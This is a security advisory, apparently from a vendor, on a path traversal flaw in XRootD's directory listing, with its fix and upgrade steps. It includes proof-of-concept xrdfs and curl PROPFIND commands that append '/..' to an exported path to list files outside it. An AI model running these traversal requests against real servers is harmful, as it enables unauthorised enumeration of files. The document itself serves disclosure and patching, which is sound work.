GHSA-vj8v-p5vw-m6v5 is a medium-severity (CVSS 5.3) vulnerability in xrootd. A fix is available for xrootd — see the affected versions and patch details below.
xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern
Real-World Exposure
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Description
Summary
A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.
This bypass ignores the all.export restriction.
Affected component
src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash).
Then the path is passed directly to the filesystem layer.
PoC
Configuration
- Configuration file:
xrd.port 1094
# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/
# HTTP
xrd.protocol http:1094 libXrdHttp.so
# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd
- Filesystem layout on the server:
/srv/xrootd/data/
├── alice/ ← only exported directory
├── bob/ ← not exported
└── secret.txt ← not exported
- Starting the server:
xrootd -c /etc/xrootd/xrootd.cfg
Steps to reproduce
Normal behavior (access outside export is denied):
$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.
Bypass via trailing ..:
$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt
Also exploitable via HTTP PROPFIND:
curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
--path-as-is \
-H "Depth: 1"
Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).
However, file download via this path traversal is blocked:
$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)
Impact
An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).
File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).
This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.
Suggested fix
In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:
// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;
// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | xrootd | all versions | 5.9.2pip install --upgrade 'xrootd==5.9.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xrootd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update xrootd to 5.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vj8v-p5vw-m6v5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vj8v-p5vw-m6v5 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-vj8v-p5vw-m6v5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vj8v-p5vw-m6v5 in your dependencies?
O3 Security finds GHSA-vj8v-p5vw-m6v5 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.